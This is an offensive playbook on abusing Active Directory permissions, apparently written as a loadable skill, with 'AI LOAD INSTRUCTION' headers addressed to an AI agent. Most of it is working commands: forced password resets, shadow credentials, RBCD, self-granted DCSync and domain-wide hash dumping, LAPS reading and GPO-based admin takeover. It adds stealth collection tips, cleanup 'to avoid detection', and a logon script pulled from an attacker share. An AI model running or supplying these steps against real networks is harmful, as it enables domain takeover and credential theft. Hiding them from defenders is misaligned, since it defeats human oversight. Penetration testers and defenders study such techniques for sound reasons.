Active Directory Acl Abuse

SKILL: AD ACL Abuse — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.

0. RELATED ROUTING

Before going deep, consider loading:

• active-directory-kerberos-attacks for Kerberos attacks often chained with ACL abuse
• active-directory-certificate-services for certificate-based attacks after ACL exploitation
• ntlm-relay-coercion for relay attacks that can set ACLs (LDAP relay)
• windows-lateral-movement after gaining elevated AD access

Advanced Reference

Also load BLOODHOUND_PATHS.md when you need:

• Common BloodHound attack paths with Cypher queries
• Custom Neo4j queries for finding complex chains
• Data collection and ingestion tips

---

1. BLOODHOUND ENUMERATION

Data Collection

# SharpHound (from Windows, domain-joined)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip

# bloodhound-python (from Linux)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP

# Specific collection methods
SharpHound.exe -c DCOnly          # Fastest — only DC queries
SharpHound.exe -c Session         # Session data only (run periodically)
SharpHound.exe -c All,GPOLocalGroup  # Include GPO analysis

Key BloodHound Queries (Built-in)

• "Find all Domain Admins"
• "Shortest Paths to Domain Admins from Owned Principals"
• "Find Principals with DCSync Rights"
• "Shortest Paths to Unconstrained Delegation Systems"
• "Find computers where Domain Users are Local Admin"

---

2. DANGEROUS ACE TYPES

---

3. ACE-SPECIFIC EXPLOITATION

GenericAll on User

# Option 1: Force change password
net user targetuser NewP@ss123 /domain

# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN

# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01

# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}

GenericAll / GenericWrite on Computer

# RBCD attack
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC

# Shadow Credentials on computer
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC

WriteDACL

# Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync

# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC

WriteOwner

# Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv

# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All

# Step 3: Now exploit as GenericAll

ForceChangePassword

# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"

# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)

# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01

AddMember to Group

# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01

---

4. DCSYNC ATTACK

Prerequisites

The principal needs both of these replication rights on the domain object:

• DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
• DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Execution

# Impacket — dump all hashes
secretsdump.py DOMAIN/user:password@DC01 -just-dc

# Specific account only
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv

# Impacket with Kerberos auth
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc

Who Has DCSync by Default?

• Domain Admins
• Enterprise Admins
• Domain Controllers group
• BUILTIN\Administrators (on domain object)

---

5. SHADOW CREDENTIALS

Attack Flow

Write msDS-KeyCredentialLink on target → generate certificate → authenticate via PKINIT.

# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# Output: DeviceID and PFX file

# Authenticate with certificate
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache

# Extract NT hash from TGT (for pass-the-hash)
getnthash.py -key AS_REP_KEY domain.com/victim

# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt

Cleanup: Remove the added key credential to avoid detection.

---

6. LAPS PASSWORD READING

# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText

# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps

---

7. GPO ABUSE

Identify Writable GPOs

# PowerView — find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
    ($_.SecurityIdentifier -match 'YOUR_SID')
}

Exploit via SharpGPOAbuse

# Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"

# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01

---

8. ACL ATTACK DECISION TREE

Have domain user access — want to escalate via ACL
│
├── Run BloodHound → analyze shortest paths to DA
│   └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
│
├── Direct ACL on user object?
│   ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
│   ├── GenericWrite → shadow credentials or set SPN (§3/§5)
│   ├── ForceChangePassword → reset password directly (§3)
│   ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
│   └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
│
├── ACL on group?
│   ├── AddMember / GenericAll → add self to privileged group (§3)
│   └── WriteDACL → grant AddMember, then add self
│
├── ACL on computer object?
│   ├── GenericAll/GenericWrite → RBCD attack (§3)
│   ├── AllExtendedRights → read LAPS password (§6)
│   └── GenericWrite → shadow credentials on machine (§5)
│
├── ACL on domain object?
│   ├── WriteDACL → grant DCSync rights to self (§4)
│   └── Replication rights already? → DCSync directly (§4)
│
├── ACL on GPO linked to privileged OU?
│   └── Write access → add admin / scheduled task via GPO (§7)
│
└── Complex multi-hop chain?
    └── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis

BloodHound Attack Paths & Cypher Queries

AI LOAD INSTRUCTION: Load this for common BloodHound attack paths, custom Cypher queries for Neo4j, and chain analysis techniques. Assumes the main SKILL.md is already loaded for individual ACL abuse techniques.

---

1. BLOODHOUND DATA COLLECTION BEST PRACTICES

Collection Methods Comparison

Stealth Collection

# Minimum noise — DC only queries
bloodhound-python -d domain.com -u user -p pass -c DCOnly -dc DC01.domain.com

# Add sessions over time
bloodhound-python -d domain.com -u user -p pass -c Session -dc DC01.domain.com

# Avoid SMB enumeration (noisiest)
SharpHound.exe -c DCOnly,ACL --excludedc --stealth

---

2. ESSENTIAL CYPHER QUERIES

2.1 Find All Paths to Domain Admin

MATCH p=shortestPath((n)-[*1..]->(m:Group))
WHERE m.name STARTS WITH "DOMAIN ADMINS"
AND n.owned = true
RETURN p

2.2 Find Users with DCSync Rights

MATCH p=(n)-[:MemberOf|GetChanges*1..]->(d:Domain)
MATCH p2=(n)-[:MemberOf|GetChangesAll*1..]->(d)
WHERE n:User OR n:Group
RETURN n.name

2.3 Kerberoastable Users with Paths to DA

MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group))
WHERE g.name STARTS WITH "DOMAIN ADMINS"
RETURN u.name, length(p) AS hops
ORDER BY hops ASC

2.4 Users with Dangerous ACLs

MATCH p=(n:User)-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword]->(m)
WHERE NOT n.name STARTS WITH "DVTA"
RETURN n.name AS attacker, type(r) AS permission, m.name AS target

2.5 Find Computers with Unconstrained Delegation

MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name STARTS WITH "DC"
RETURN c.name

2.6 Find AS-REP Roastable Users

MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.description

2.7 Computers Where Domain Users Are Local Admin

MATCH p=(g:Group {name:"DOMAIN USERS@DOMAIN.COM"})-[:AdminTo]->(c:Computer)
RETURN c.name

2.8 Find All GPO Controllers

MATCH p=(n)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g:GPO)
RETURN n.name AS controller, g.name AS gpo, type(r) AS permission

2.9 Shortest Path from Owned to High-Value Targets

MATCH p=shortestPath((n {owned:true})-[*1..]->(m {highvalue:true}))
RETURN p

2.10 Find LAPS Readers

MATCH p=(n)-[:ReadLAPSPassword]->(c:Computer)
RETURN n.name AS reader, c.name AS computer

---

3. COMMON ATTACK PATH PATTERNS

Pattern 1: Nested Group Membership → DA

lowpriv_user
  └── MemberOf → IT-Support
        └── MemberOf → Server-Admins
              └── MemberOf → Domain Admins

MATCH p=(u:User {name:"LOWPRIV@DOMAIN.COM"})-[:MemberOf*1..5]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.COM"})
RETURN p

Pattern 2: ACL Chain → GenericAll → Password Reset → DA

lowpriv_user
  └── GenericWrite → helpdesk_user
        └── GenericAll → svc_admin (DA member)
              └── ForceChangePassword → reset password → DA

Pattern 3: WriteDACL → DCSync

lowpriv_user
  └── WriteDACL on Domain Object
        └── Grant self GetChanges + GetChangesAll
              └── DCSync → all domain hashes

Pattern 4: GPO Abuse → Local Admin on DC

lowpriv_user
  └── GenericWrite on GPO linked to "Domain Controllers" OU
        └── Add scheduled task via GPO
              └── Task runs on DCs → SYSTEM on DC

Pattern 5: LAPS + Local Admin → Session Hijack

lowpriv_user
  └── ReadLAPSPassword on TARGET_SERVER
        └── Local admin on TARGET_SERVER
              └── Domain Admin session on TARGET_SERVER
                    └── Credential dump → DA hash

---

4. CUSTOM BLOODHOUND QUERIES FOR SPECIFIC SCENARIOS

Find Users with Passwords in Description

MATCH (u:User)
WHERE u.description =~ '(?i).*(pass|pwd|cred|secret).*'
RETURN u.name, u.description

Find All ACL Paths Between Two Nodes

MATCH p=allShortestPaths((a)-[r*1..7]->(b))
WHERE a.name = "LOWPRIV@DOMAIN.COM"
AND b.name = "DOMAIN ADMINS@DOMAIN.COM"
AND ALL(rel IN relationships(p) WHERE type(rel) IN
  ["GenericAll","GenericWrite","WriteDacl","WriteOwner","ForceChangePassword",
   "AddMember","MemberOf","AdminTo","HasSession","CanRDP","CanPSRemote"])
RETURN p

High-Value Target Identification

MATCH (n)
WHERE n.highvalue = true
RETURN labels(n)[0] AS type, n.name AS target
ORDER BY type

Find Kerberoastable Service Accounts with Admin Rights

MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer)
RETURN u.name AS service_account, collect(c.name) AS admin_on

Computers Trusting Machine Accounts for Delegation

MATCH (c1:Computer)-[:AllowedToDelegate]->(c2:Computer)
RETURN c1.name AS delegator, c2.name AS target

---

5. BLOODHOUND CE (COMMUNITY EDITION) TIPS

API Queries (BloodHound CE)

# List available attack paths via API
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://bloodhound.local/api/v2/attack-paths" | jq

# Get path findings for a specific domain
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://bloodhound.local/api/v2/domains/$DOMAIN_ID/attack-path-findings" | jq

Mark Nodes as Owned

# Mark compromised user
MATCH (u:User {name:"COMPROMISED@DOMAIN.COM"})
SET u.owned = true
RETURN u.name

Mark High-Value Targets

# Mark custom high-value targets
MATCH (c:Computer {name:"SQLSERVER01.DOMAIN.COM"})
SET c.highvalue = true
RETURN c.name

---

6. ATTACK PATH DECISION FLOW

BloodHound data collected and imported
│
├── Mark owned principals (compromised users/computers)
│
├── Run "Shortest Paths from Owned to DA"
│   ├── Direct path found? → follow the chain
│   │   ├── ACL edge → exploit per SKILL.md §3
│   │   ├── Session edge → credential dump on that host
│   │   └── AdminTo edge → lateral movement to host
│   └── No path found?
│       ├── Run custom queries (§4) for non-obvious paths
│       ├── Check for Kerberoastable → high-value paths (§2.3)
│       └── Look for LAPS readers → local admin chains (§2.10)
│
├── No path to DA at all?
│   ├── Check for paths to other high-value targets
│   ├── Expand attack surface: compromise more users/hosts
│   ├── Re-collect session data (sessions change over time)
│   └── Look for cross-domain trust paths
│
└── Multiple paths available?
    ├── Prefer: ForceChangePassword (cleanest)
    ├── Then: Shadow Credentials (reversible)
    ├── Then: Targeted Kerberoast (if crackable)
    └── Avoid: Adding to Domain Admins (noisy)